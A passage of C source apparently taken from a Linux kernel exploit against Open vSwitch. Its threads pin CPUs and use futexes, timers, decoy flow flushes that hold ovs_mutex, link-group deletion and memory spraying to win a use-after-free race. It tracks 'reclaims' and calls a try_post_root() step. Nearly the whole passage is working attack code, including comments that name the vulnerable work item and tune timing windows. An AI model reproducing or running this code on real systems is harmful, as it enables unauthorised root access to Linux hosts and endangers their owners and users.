b_duration_ns=%llu\n", __atomic_load_n(&decoy_flush_done, __ATOMIC_RELAXED), __atomic_load_n(&decoy_flush2_done, __ATOMIC_RELAXED), (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED)), (unsigned long long)( __atomic_load_n(&decoy_flush2_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush2_start_ns, __ATOMIC_RELAXED))); fatal_error = 1; stop_flag = 1; break; } __atomic_store_n(&decoy_handoff_proven, 1, __ATOMIC_RELEASE); #else if (__atomic_load_n(&decoy_flush_done, __ATOMIC_ACQUIRE)) { fprintf(stderr, "DECOY_FLUSH_TOO_SHORT duration_ns=%llu\n", (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED))); fatal_error = 1; stop_flag = 1; break; } #endif } else { stop_flag = 1; break; } target = __atomic_load_n(&race_target_ns, __ATOMIC_RELAXED); __atomic_store_n(&race_fill_done_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_gate_event_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&gate_request_start_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&gate_request_end_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&gate_unlist_observed_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&gate_request_result, -EINPROGRESS, __ATOMIC_RELAXED); #if ROW41_EARLY_SPRAY __atomic_store_n(&race_packet_target_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&spray_phase, SPRAY_EARLY_FILL_REQUEST, __ATOMIC_RELEASE); #endif #if ROW41_POSTSYNC_GATE_TIMER __atomic_store_n(&gate_arm_generation, generation, __ATOMIC_RELEASE); futex_wake_one_u32(&gate_arm_generation); #endif __atomic_store_n(&race_unregister_start_ns, monotonic_ns(), __ATOMIC_RELEASE); del_result = rtnl_dellink_group(&rt, BULK_LINK_GROUP); __atomic_store_n(&race_unregister_end_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&writer_release_event_ns, __atomic_load_n(&race_unregister_end_ns, __ATOMIC_RELAXED), __ATOMIC_RELEASE); __atomic_store_n(&writer_release_generation, generation, __ATOMIC_RELEASE); futex_wake_one_u32(&writer_release_generation); { uint64_t hold_until = monotonic_ns() + WRITER_RELEASE_HOLD_NS; while (!stop_flag && monotonic_ns() < hold_until) __asm__ volatile("pause"); } if (del_result) { fprintf(stderr, "GROUP_DELETE_FAILED result=%d (%s)\n", del_result, strerror(-del_result)); fatal_error = 1; stop_flag = 1; break; } #if !ROW41_EARLY_SPRAY __atomic_store_n(&spray_phase, SPRAY_FILL_REQUEST, __ATOMIC_RELEASE); #endif while (!stop_flag && __atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) != SPRAY_FILLED) sched_yield(); #if ROW41_DEFER_DECOY_FLUSH_LOG fprintf(stderr, "DECOY_FLUSH_DONE_DEFERRED flows=%u duration_ns=%llu handoff_proven=%d writer_nice=%d\n", DECOY_FLOWS, (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED)), __atomic_load_n(&decoy_handoff_proven, __ATOMIC_RELAXED), WRITER_NICE); #if ROW41_DOUBLE_DECOY_FLUSH fprintf(stderr, "DECOY_FLUSH2_DONE_DEFERRED flows=%u total_wait_and_hold_ns=%llu after_flush1_end_ns=%lld\n", DECOY_FLOWS2, (unsigned long long)( __atomic_load_n(&decoy_flush2_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush2_start_ns, __ATOMIC_RELAXED)), (long long)( __atomic_load_n(&decoy_flush2_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED))); #endif #endif __atomic_store_n(&senders_stop, 1, __ATOMIC_RELEASE); { uint64_t packet_target = __atomic_load_n(&race_packet_target_ns, __ATOMIC_ACQUIRE); fprintf(stderr, "GROUP_WINDOW generation=%u phase=%u phase_name=%s prefix_actions=%u targets=%d irq_from_delete_ns=%lld gate_event_delta_ns=%lld gate_start_delta_ns=%lld gate_end_delta_ns=%lld gate_done_generation=%u gate_result=%d unregister_start_delta_ns=%lld unregister_end_delta_ns=%lld result=%d fill_delta_ns=%lld consumer_irq_delta_ns=%lld consumer_end_ns=%llu\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], BULK_TARGETS, (long long)(packet_target - target), (long long)(__atomic_load_n(&race_gate_event_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&gate_request_start_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&gate_request_end_ns, __ATOMIC_RELAXED) - target), __atomic_load_n(&gate_done_generation, __ATOMIC_RELAXED), __atomic_load_n(&gate_request_result, __ATOMIC_RELAXED), (long long)(__atomic_load_n(&race_unregister_start_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&race_unregister_end_ns, __ATOMIC_RELAXED) - target), del_result, (long long)(__atomic_load_n(&race_fill_done_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&race_packet_start_ns, __ATOMIC_RELAXED) - packet_target), (unsigned long long)__atomic_load_n(&race_packet_end_ns, __ATOMIC_RELAXED)); if (__atomic_load_n(&race_packet_generation, __ATOMIC_ACQUIRE) == generation && __atomic_load_n(&race_packet_start_ns, __ATOMIC_RELAXED) < packet_target && __atomic_load_n(&race_packet_end_ns, __ATOMIC_ACQUIRE) == 0 && __atomic_load_n(&race_unregister_end_ns, __ATOMIC_RELAXED) > __atomic_load_n(&race_packet_start_ns, __ATOMIC_RELAXED) && __atomic_load_n(&race_fill_done_ns, __ATOMIC_RELAXED) > __atomic_load_n(&race_unregister_end_ns, __ATOMIC_RELAXED)) { __sync_fetch_and_add(&post_sync_broad_windows, 1); __sync_fetch_and_add(&phase_broad_windows[phase], 1); fprintf(stderr, "POST_GROUP_BROAD phase=%u phase_name=%s prefix_actions=%u lead_ns=%llu start_delta_ns=%lld unregister_end_delta_ns=%lld fill_delta_ns=%lld\n", phase, flow_phase_names[phase], flow_prefix_actions[phase], (unsigned long long)__atomic_load_n(&race_lead_ns, __ATOMIC_RELAXED), (long long)(__atomic_load_n(&race_packet_start_ns, __ATOMIC_RELAXED) - packet_target), (long long)(__atomic_load_n(&race_unregister_end_ns, __ATOMIC_RELAXED) - packet_target), (long long)(__atomic_load_n(&race_fill_done_ns, __ATOMIC_RELAXED) - packet_target)); } __sync_fetch_and_add(&reclaim_cycles, 1); __sync_fetch_and_add(&phase_reclaims[phase], 1); if (__atomic_load_n(&race_packet_generation, __ATOMIC_ACQUIRE) == generation && __atomic_load_n(&race_packet_end_ns, __ATOMIC_ACQUIRE) == 0) { __sync_fetch_and_add(&inflight_reclaims, 1); __sync_fetch_and_add(&phase_inflight[phase], 1); fprintf(stderr, "INFLIGHT phase=%u phase_name=%s prefix_actions=%u lead_ns=%llu start_delta_ns=%lld fill_delta_ns=%lld\n", phase, flow_phase_names[phase], flow_prefix_actions[phase], (unsigned long long)__atomic_load_n(&race_lead_ns, __ATOMIC_RELAXED), (long long)(__atomic_load_n(&race_packet_start_ns, __ATOMIC_RELAXED) - packet_target), (long long)(monotonic_ns() - packet_target)); } if (__atomic_load_n(&race_packet_generation, __ATOMIC_ACQUIRE) == generation && __atomic_load_n(&packets_sent, __ATOMIC_RELAXED) == cluster_packets) { __sync_fetch_and_add(&stalled_reclaims, 1); __sync_fetch_and_add(&phase_stalled[phase], 1); fprintf(stderr, "STALLED generation=%u phase=%u phase_name=%s prefix_actions=%u cluster_packets=%llu packets=%llu\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], cluster_packets, __atomic_load_n(&packets_sent, __ATOMIC_RELAXED)); } } usleep(200000); stop_flag = 1; } nl_close(&rt); nl_close(&ovs); return NULL; } static void *sender_fn(void *arg) { struct sender_arg *sa_arg = arg; struct shared *sh = sa_arg->sh; struct nl_sock ovs; #if !ROW41_VPORT_GET_BURST uint32_t packet_id = sa_arg->id << 24; int bypass_enabled = 0; #endif int packet_fd = -1; pin_cpu(0); if (pthread_setname_np(pthread_self(), "row41-send") != 0) { fprintf(stderr, "SENDER_NAME_FAILED\n"); fatal_error = 1; stop_flag = 1; return NULL; } #if ROW41_SCHED_PREEMPT if (setpriority(PRIO_PROCESS, 0, 19) < 0) { fprintf(stderr, "SENDER_NICE_FAILED value=19 error=%d (%s)\n", errno, strerror(errno)); fatal_error = 1; stop_flag = 1; return NULL; } #endif if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) { fprintf(stderr, "SENDER_SOCKET_FAILED proto=generic\n"); fatal_error = 1; stop_flag = 1; return NULL; } #if ROW41_VPORT_GET_BURST { int receive_bytes = 4 * 1024 * 1024; /* Best effort only. Dropped GET replies do not change synchronous * execution of their in-kernel fill_info consumers. */ (void)setsockopt(ovs.fd, SOL_SOCKET, SO_RCVBUF, &receive_bytes, sizeof(receive_bytes)); } fprintf(stderr, "SENDER_VPORT_GET_READY dp=%d requests=%u target=%s phases=%d\n", sh->dp_ifindex, VPORT_GET_BURST_COUNT, sh->names[0], FLOW_SWEEP_PHASES); #else packet_fd = packet_open_internal(sh->dp_ifindex, &bypass_enabled); if (packet_fd < 0) { fprintf(stderr, "SENDER_SOCKET_FAILED proto=packet result=%d (%s)\n", packet_fd, strerror(-packet_fd)); fatal_error = 1; stop_flag = 1; nl_close(&ovs); return NULL; } if (bypass_enabled != sh->packet_qdisc_bypass) { fprintf(stderr, "SENDER_PATH_MISMATCH calibration_bypass=%d sender_bypass=%d\n", sh->packet_qdisc_bypass, bypass_enabled); fatal_error = 1; stop_flag = 1; close(packet_fd); nl_close(&ovs); return NULL; } fprintf(stderr, "SENDER_FLOW_READY dp=%d qdisc_bypass=%d phases=%d\n", sh->dp_ifindex, bypass_enabled, FLOW_SWEEP_PHASES); for (unsigned int phase = 0; phase < FLOW_SWEEP_PHASES; phase++) fprintf(stderr, "SENDER_FLOW_PHASE phase=%u phase_name=%s prefix_actions=%u target_actions=%u prefix_estimate_ns=%llu margin_ns=%llu selected_lead_ns=%llu\n", phase, flow_phase_names[phase], flow_prefix_actions[phase], EGRESS_METADATA_ACTIONS - flow_prefix_actions[phase], (unsigned long long)sh->packet_prefix_estimate_ns[phase], (unsigned long long)flow_phase_margin_ns[phase], (unsigned long long)sh->packet_lead_ns[phase]); #endif while (!stop_flag && !__atomic_load_n(&senders_go, __ATOMIC_ACQUIRE)) usleep(1000); if (!stop_flag) { #if !ROW41_VPORT_GET_BURST uint8_t frame[TEST_FRAME_LEN]; #endif uint64_t duration_ns = 0; uint64_t target_ns = 0; uint64_t start_ns; uint64_t end_ns; unsigned int generation = __atomic_load_n(&sh->bulk_generation, __ATOMIC_ACQUIRE); unsigned int phase = phase_for_generation(generation); int execute_result; #if ROW41_POSTSYNC_GATE_TIMER { uint64_t gate_start; uint64_t gate_end; uint64_t gate_block; uint64_t arming_ns = 0; unsigned int done; int arm_result; int holding_flush_done; for (;;) { done = __atomic_load_n(&gate_done_generation, __ATOMIC_ACQUIRE); if (stop_flag || done == generation) break; (void)futex_wait_u32(&gate_done_generation, done); } gate_start = __atomic_load_n(&gate_request_start_ns, __ATOMIC_ACQUIRE); gate_end = __atomic_load_n(&gate_request_end_ns, __ATOMIC_ACQUIRE); gate_block = gate_end >= gate_start ? gate_end - gate_start : 0; #if ROW41_DOUBLE_DECOY_FLUSH /* Both requests were incomplete at the writer's proven handoff * point and therefore precede the notifier worker on the global * OVS mutex. Their acquisition order may be A->B or B->A; the * worker remains blocked while either request is unfinished. */ holding_flush_done = __atomic_load_n(&decoy_flush_done, __ATOMIC_ACQUIRE) && __atomic_load_n(&decoy_flush2_done, __ATOMIC_ACQUIRE); #else holding_flush_done = __atomic_load_n(&decoy_flush_done, __ATOMIC_ACQUIRE); #endif if (stop_flag || done != generation || __atomic_load_n(&gate_request_result, __ATOMIC_ACQUIRE) != 0 || gate_block < POSTSYNC_GATE_MIN_BLOCK_NS || holding_flush_done) { fprintf(stderr, "POSTSYNC_CONSUMER_SKIP generation=%u done=%u gate_result=%d gate_block_ns=%llu flush_done=%d a_done=%d b_done=%d\n", generation, done, __atomic_load_n(&gate_request_result, __ATOMIC_RELAXED), (unsigned long long)gate_block, holding_flush_done, __atomic_load_n(&decoy_flush_done, __ATOMIC_RELAXED), __atomic_load_n(&decoy_flush2_done, __ATOMIC_RELAXED)); fatal_error = 1; stop_flag = 1; goto sender_out; } arm_result = arm_postsync_timer_cluster(0, &target_ns, &arming_ns); if (arm_result) { fprintf(stderr, "POSTSYNC_CONSUMER_SKIP generation=%u reason=timer_arm result=%d gate_block_ns=%llu\n", generation, arm_result, (unsigned long long)gate_block); fatal_error = 1; stop_flag = 1; goto sender_out; } __atomic_store_n(&postunreg_irq_target_ns, target_ns, __ATOMIC_RELEASE); } #else while (!stop_flag && !__atomic_load_n(&postunreg_timer_done, __ATOMIC_ACQUIRE)) (void)futex_wait_u32(&postunreg_timer_done, 0); target_ns = __atomic_load_n(&postunreg_irq_target_ns, __ATOMIC_ACQUIRE); if (stop_flag || !target_ns) goto sender_out; #endif /* Enter the preinstalled 512-action flow while the decoy flush still * holds ovs_mutex. In post-sync mode the RTNL gate proves that the * unregister path's earlier synchronize_net has completed before the * timer and consumer are launched. */ start_ns = monotonic_ns(); __atomic_store_n(&race_lead_ns, start_ns < target_ns ? target_ns - start_ns : 0, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_target_ns, target_ns, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_generation, generation, __ATOMIC_RELEASE); __atomic_store_n(&race_packet_end_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_start_ns, start_ns, __ATOMIC_RELEASE); #if ROW41_VPORT_GET_BURST execute_result = vport_get_burst_send( &ovs, sh->fam_vport, sh->dp_ifindex, sh->names[0], VPORT_GET_BURST_COUNT); duration_ns = monotonic_ns() - start_ns; #else build_test_frame(frame, packet_id++); execute_result = packet_send_internal(packet_fd, frame, &duration_ns); #endif end_ns = monotonic_ns(); __atomic_store_n(&race_packet_end_ns, end_ns, __ATOMIC_RELEASE); try_post_root(); if (!execute_result) { __sync_fetch_and_add(&packets_sent, 1); } else if (execute_result < 0) { __sync_fetch_and_add(&packet_errors, 1); __sync_fetch_and_add(&phase_packet_errors[phase], 1); } __sync_fetch_and_add(&postsync_gate_launches, 1); __sync_fetch_and_add(&phase_launches[phase], 1); if (start_ns < target_ns && end_ns > target_ns) { __sync_fetch_and_add(&straddled_packets, 1); __sync_fetch_and_add(&phase_straddles[phase], 1); } fprintf(stderr, "MUTEX_TIMED_SEND generation=%u phase=%u target_ns=%llu start_delta_ns=%lld end_delta_ns=%lld duration_ns=%llu result=%d\n", generation, phase, (unsigned long long)target_ns, (long long)(start_ns - target_ns), (long long)(end_ns - target_ns), (unsigned long long)duration_ns, execute_result); } sender_out: while (!stop_flag && !__atomic_load_n(&senders_stop, __ATOMIC_ACQUIRE)) usleep(1000); if (packet_fd >= 0) close(packet_fd); nl_close(&ovs); return NULL; } static void *decoy_flusher_fn(void *arg) { #if ROW41_STUB_DECOY_FLUSH (void)arg; pin_cpu(ROW41_DECOY_FLUSH_CPU); if (DECOY_FLUSH_NICE >= 0 && setpriority(PRIO_PROCESS, 0, DECOY_FLUSH_NICE) < 0) { fprintf(stderr, "DECOY_FLUSH_NICE_FAILED value=%d error=%d (%s)\n", DECOY_FLUSH_NICE, errno, strerror(errno)); fatal_error = 1; stop_flag = 1; return NULL; } while (!stop_flag && !__atomic_load_n(&decoy_flush_go, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush_go, 0); if (stop_flag) return NULL; __atomic_store_n(&decoy_flush_start_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush_started, 1, __ATOMIC_RELEASE); futex_wake_all_u32( (volatile unsigned int *)&decoy_flush_started); while (!stop_flag) sched_yield(); __atomic_store_n(&decoy_flush_end_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush_done, 1, __ATOMIC_RELEASE); fprintf(stderr, "DECOY_FLUSH_STUB_DONE duration_ns=%llu\n", (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED))); return NULL; #else struct shared *sh = arg; struct nl_sock ovs; int result; pin_cpu(ROW41_DECOY_FLUSH_CPU); if (DECOY_FLUSH_NICE >= 0 && setpriority(PRIO_PROCESS, 0, DECOY_FLUSH_NICE) < 0) { fprintf(stderr, "DECOY_FLUSH_NICE_FAILED value=%d error=%d (%s)\n", DECOY_FLUSH_NICE, errno, strerror(errno)); fatal_error = 1; stop_flag = 1; return NULL; } if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) { fprintf(stderr, "DECOY_FLUSH_SOCKET_FAILED\n"); fatal_error = 1; stop_flag = 1; return NULL; } while (!stop_flag && !__atomic_load_n(&decoy_flush_go, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush_go, 0); if (stop_flag) { nl_close(&ovs); return NULL; } __atomic_store_n(&decoy_flush_start_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush_started, 1, __ATOMIC_RELEASE); futex_wake_all_u32( (volatile unsigned int *)&decoy_flush_started); result = flow_flush_all(&ovs, sh->fam_flow, decoy_dp_ifindex); __atomic_store_n(&decoy_flush_end_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush_done, 1, __ATOMIC_RELEASE); #if !ROW41_DEFER_DECOY_FLUSH_LOG fprintf(stderr, "DECOY_FLUSH_DONE flows=%u result=%d duration_ns=%llu\n", DECOY_FLOWS, result, (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED))); #endif if (result) { fatal_error = 1; stop_flag = 1; } nl_close(&ovs); return NULL; #endif } static void *decoy_flusher2_fn(void *arg) { struct shared *sh = arg; struct nl_sock ovs; int result; pin_cpu(1); if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) { fprintf(stderr, "DECOY_FLUSH2_SOCKET_FAILED\n"); fatal_error = 1; stop_flag = 1; return NULL; } while (!stop_flag && !__atomic_load_n(&decoy_flush_go, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush_go, 0); while (!stop_flag && !__atomic_load_n(&decoy_flush_started, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush_started, 0); if (stop_flag) { nl_close(&ovs); return NULL; } /* A runs on CPU 0. Queue B on ovs_mutex before the CPU-1 writer is * allowed to enqueue the vulnerable OVS work item. B and the writer * share CPU 1, so with a zero lead B proceeds directly into sendmsg(); * the writer cannot run again until B blocks in the kernel or returns. */ if (DECOY_FLUSH2_LEAD_US) usleep(DECOY_FLUSH2_LEAD_US); __atomic_store_n(&decoy_flush2_start_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush2_started, 1, __ATOMIC_RELEASE); futex_wake_all_u32( (volatile unsigned int *)&decoy_flush2_started); result = flow_flush_all(&ovs, sh->fam_flow, decoy_dp2_ifindex); __atomic_store_n(&decoy_flush2_end_ns, monotonic_ns(), __ATOMIC_RELAXED); __atomic_store_n(&decoy_flush2_done, 1, __ATOMIC_RELEASE); /* The CPU-1 OVS work item queued behind this mutex waiter has priority * over diagnostics once B releases the handoff lock. */ sched_yield(); #if !ROW41_DEFER_DECOY_FLUSH_LOG fprintf(stderr, "DECOY_FLUSH2_DONE flows=%u result=%d total_wait_and_hold_ns=%llu after_flush1_end_ns=%lld\n", DECOY_FLOWS2, result, (unsigned long long)( __atomic_load_n(&decoy_flush2_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush2_start_ns, __ATOMIC_RELAXED)), (long long)( __atomic_load_n(&decoy_flush2_end_ns, __ATOMIC_RELAXED) - __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED))); #endif if (result) { fatal_error = 1; stop_flag = 1; } nl_close(&ovs); return NULL; } static void *postunreg_timer_fn(void *arg) { #if ROW41_POSTSYNC_GATE_TIMER (void)arg; while (!stop_flag) (void)futex_wait_u32((volatile unsigned int *)&stop_flag, 0); return NULL; #else struct shared *sh = arg; uint64_t target_ns = 0; uint64_t arming_ns = 0; uint64_t observed_ns; int result; /* timerfd_settime() selects the hrtimer base of the calling CPU. Arm on * CPU 0 so the long waitqueue callback interrupts the packet consumer, * while the OVS notifier worker and sprayer continue on CPU 1. */ pin_cpu(0); while (!stop_flag && !__atomic_load_n(&decoy_flush_started, __ATOMIC_ACQUIRE)) sched_yield(); while (!stop_flag && if_nametoindex(sh->names[0]) != 0) sched_yield(); if (stop_flag) return NULL; observed_ns = monotonic_ns(); usleep(POST_UNLIST_DELAY_US); if (__atomic_load_n(&decoy_flush_done, __ATOMIC_ACQUIRE)) { fprintf(stderr, "POSTUNREG_TIMER_SKIP reason=flush_done unlist_to_done_ns=%llu\n", (unsigned long long)( __atomic_load_n(&decoy_flush_end_ns, __ATOMIC_RELAXED) - observed_ns)); fatal_error = 1; stop_flag = 1; __atomic_store_n(&postunreg_timer_done, 1, __ATOMIC_RELEASE); futex_wake_one_u32(&postunreg_timer_done); return NULL; } result = arm_postsync_timer_cluster(0, &target_ns, &arming_ns); if (result) { fatal_error = 1; stop_flag = 1; __atomic_store_n(&postunreg_timer_done, 1, __ATOMIC_RELEASE); futex_wake_one_u32(&postunreg_timer_done); return NULL; } __atomic_store_n(&postunreg_irq_target_ns, target_ns, __ATOMIC_RELEASE); __atomic_store_n(&postunreg_timer_done, 1, __ATOMIC_RELEASE); futex_wake_one_u32(&postunreg_timer_done); /* Do not remain current when the hrtimer fires. The sole packet * consumer was blocked on postunreg_timer_done and is now runnable on * this CPU; yielding transfers the remainder of the 18-us arm window. */ sched_yield(); fprintf(stderr, "POSTUNREG_TIMER_ARM result=%d unlist_delay_us=%u target_ns=%llu arm_ns=%llu flush_elapsed_ns=%llu\n", result, POST_UNLIST_DELAY_US, (unsigned long long)target_ns, (unsigned long long)arming_ns, (unsigned long long)(monotonic_ns() - __atomic_load_n(&decoy_flush_start_ns, __ATOMIC_RELAXED))); return NULL; #endif } enum proc_sched_read_result { PROC_SCHED_OK = 0, PROC_SCHED_READ_ERROR = -1, PROC_SCHED_PARSE_ERROR = -2, }; /* /proc/thread-self/stat fields 19 and 41 are nice and scheduling policy. * Read the kernel-published state without a scheduler-policy syscall. The * comm field is parenthesized and may contain spaces, so parsing begins after * its final ')' and numbers fields from the state character (field 3). */ static int read_proc_thread_scheduler(int *policy_out, int *nice_out) { char buffer[4096]; char *cursor; char *close_paren; ssize_t length; int fd; int field; int policy = -1; int nice_value = 0; int saw_nice = 0; fd = open("/proc/thread-self/stat", O_RDONLY | O_CLOEXEC); if (fd < 0) return PROC_SCHED_READ_ERROR; length = read(fd, buffer, sizeof(buffer) - 1); close(fd); if (length <= 0) return PROC_SCHED_READ_ERROR; buffer[length] = '\0'; close_paren = strrchr(buffer, ')'); if (!close_paren || close_paren[1] != ' ') return PROC_SCHED_PARSE_ERROR; cursor = close_paren + 2; for (field = 3; field <= 41; field++) { char *token; char *end; char saved; long long value; while (*cursor == ' ') cursor++; if (!*cursor) return PROC_SCHED_PARSE_ERROR; token = cursor; while (*cursor && *cursor != ' ' && *cursor != '\n') cursor++; saved = *cursor; *cursor = '\0'; if (field == 19 || field == 41) { errno = 0; end = NULL; value = strtoll(token, &end, 10); if (errno || end == token || *end != '\0') return PROC_SCHED_PARSE_ERROR; if (field == 19) { if (value < -20 || value > 19) return PROC_SCHED_PARSE_ERROR; nice_value = (int)value; saw_nice = 1; } else { if (value < 0 || value > INT32_MAX) return PROC_SCHED_PARSE_ERROR; policy = (int)value; } } *cursor = saved; if (saved) cursor++; } if (!saw_nice || policy < 0) return PROC_SCHED_PARSE_ERROR; *policy_out = policy; *nice_out = nice_value; return PROC_SCHED_OK; } static void *timer_poll_waiter_fn(void *arg) { struct poll_waiter_arg *wa = arg; struct pollfd pfds[TIMER_POLL_SLOTS + 1]; int policy; int nice_value; int proc_result; int i; pin_cpu(0); /* SCHED_IDLE made V74's post-wake rebuild compete only for otherwise * idle CPU time. Keep normal scheduling and lower only this thread's * nice value. The hardirq exclusion is unchanged because every waiter * remains CPU-0-only and cannot run until timerfd_tmrproc() returns. */ if (setpriority(PRIO_PROCESS, 0, 19) < 0) { __sync_fetch_and_add(&poll_waiter_nice_set_errors, 1); __sync_fetch_and_add(&poll_waiter_policy_errors, 1); fatal_error = 1; stop_flag = 1; return NULL; } proc_result = read_proc_thread_scheduler(&policy, &nice_value); if (proc_result == PROC_SCHED_READ_ERROR) { __sync_fetch_and_add(&poll_waiter_proc_read_errors, 1); __sync_fetch_and_add(&poll_waiter_policy_errors, 1); fatal_error = 1; stop_flag = 1; return NULL; } if (proc_result == PROC_SCHED_PARSE_ERROR) { __sync_fetch_and_add(&poll_waiter_proc_parse_errors, 1); __sync_fetch_and_add(&poll_waiter_policy_errors, 1); fatal_error = 1; stop_flag = 1; return NULL; } if (policy != SCHED_OTHER) { __sync_fetch_and_add(&poll_waiter_policy_mismatches, 1); __sync_fetch_and_add(&poll_waiter_policy_errors, 1); fatal_error = 1; stop_flag = 1; return NULL; } if (nice_value != 19) { __sync_fetch_and_add(&poll_waiter_nice_mismatches, 1); __sync_fetch_and_add(&poll_waiter_policy_errors, 1); fatal_error = 1; stop_flag = 1; return NULL; } __sync_fetch_and_add(&poll_waiter_policy_ok, 1); /* Spread the entries across the epoll descriptors. The first direct * timerfd epitem queued in each set wakes these poll entries from inside * the original hardirq callback. */ for (i = 0; i < TIMER_POLL_SLOTS; i++) { pfds[i].fd = wa->fds[i % wa->fd_count]; pfds[i].events = POLLIN; pfds[i].revents = 0; } /* This descriptor is intentionally never read. Once shutdown writes * it, its nonzero counter remains readable for every poller's in-kernel * recheck, even if another poller consumed the shared timerfd tick. */ pfds[TIMER_POLL_SLOTS].fd = wa->exit_fd; pfds[TIMER_POLL_SLOTS].events = POLLIN; pfds[TIMER_POLL_SLOTS].revents = 0; __sync_fetch_and_add(&poll_waiters_ready, 1); while (!stop_flag) { int n; __sync_fetch_and_add(&poll_waiters_resident, 1); n = poll(pfds, TIMER_POLL_SLOTS + 1, -1); __sync_fetch_and_sub(&poll_waiters_resident, 1); if (n < 0) { if (errno == EINTR) { __sync_fetch_and_add(&poll_wait_interrupts, 1); continue; } __sync_fetch_and_add(&poll_wait_errors, 1); fatal_error = 1; stop_flag = 1; break; } if (n > 0) __sync_fetch_and_add(&poll_wait_returns, 1); if (n > 0 && (pfds[TIMER_POLL_SLOTS].revents & POLLIN)) break; if (n > 0) { while (!stop_flag) (void)futex_wait_u32( (volatile unsigned int *)&stop_flag, 0); break; } } return NULL; } static void *sched_preempt_spinner_fn(void *arg) { uint64_t deadline; (void)arg; pin_cpu(0); if (setpriority(PRIO_PROCESS, 0, 0) < 0) { fatal_error = 1; stop_flag = 1; return NULL; } __sync_fetch_and_add(&sched_preempt_ready, 1); while (!stop_flag && !__atomic_load_n(&sched_preempt_go, __ATOMIC_ACQUIRE)) (void)futex_wait_u32(&sched_preempt_go, 0); deadline = __atomic_load_n(&sched_preempt_deadline_ns, __ATOMIC_ACQUIRE); while (deadline && monotonic_ns() < deadline) __asm__ volatile("pause"); return NULL; } static void *timer_noise_fn(void *arg) { #if ROW41_SCHED_PREEMPT pthread_t spinners[SCHED_PREEMPT_SPINNERS]; struct pollfd timer_poll; unsigned int spinner_active = 0; uint64_t ticks; int n; (void)arg; pin_cpu(0); timer_cluster_fds[0] = timerfd_create( CLOCK_MONOTONIC, TFD_CLOEXEC | TFD_NONBLOCK); if (timer_cluster_fds[0] < 0) { fatal_error = 1; stop_flag = 1; return NULL; } for (spinner_active = 0; spinner_active < SCHED_PREEMPT_SPINNERS; spinner_active++) { if (pthread_create(&spinners[spinner_active], NULL, sched_preempt_spinner_fn, NULL) != 0) break; } while (!stop_flag && __atomic_load_n(&sched_preempt_ready, __ATOMIC_ACQUIRE) < spinner_active) usleep(1000); if (spinner_active != SCHED_PREEMPT_SPINNERS) { fprintf(stderr, "SCHED_PREEMPT_RESOURCES_FAILED spinners=%u/%u ready=%u\n", spinner_active, SCHED_PREEMPT_SPINNERS, __atomic_load_n(&sched_preempt_ready, __ATOMIC_RELAXED)); fatal_error = 1; stop_flag = 1; } __atomic_store_n(&poll_waiters_ready, 1, __ATOMIC_RELEASE); __atomic_store_n(&poll_waiters_resident, 1, __ATOMIC_RELEASE); fprintf(stderr, "timer_sched_preempt fds=1 hardirq_waiters=1 spinners=%u sender_nice=19 spinner_nice=0 hold_ns=%llu arm_ns=%llu preempt_rcu=required\n", spinner_active, (unsigned long long)SCHED_PREEMPT_HOLD_NS, (unsigned long long)TIMER_CLUSTER_ARM_NS); __atomic_store_n(&timer_cluster_ready, 1, __ATOMIC_RELEASE); timer_poll.fd = timer_cluster_fds[0]; timer_poll.events = POLLIN; timer_poll.revents = 0; while (!stop_flag) { n = poll(&timer_poll, 1, 100); if (n < 0) { if (errno == EINTR) continue; __sync_fetch_and_add(&poll_wait_errors, 1); fatal_error = 1; stop_flag = 1; break; } if (!n || !(timer_poll.revents & POLLIN)) continue; if (read(timer_cluster_fds[0], &ticks, sizeof(ticks)) 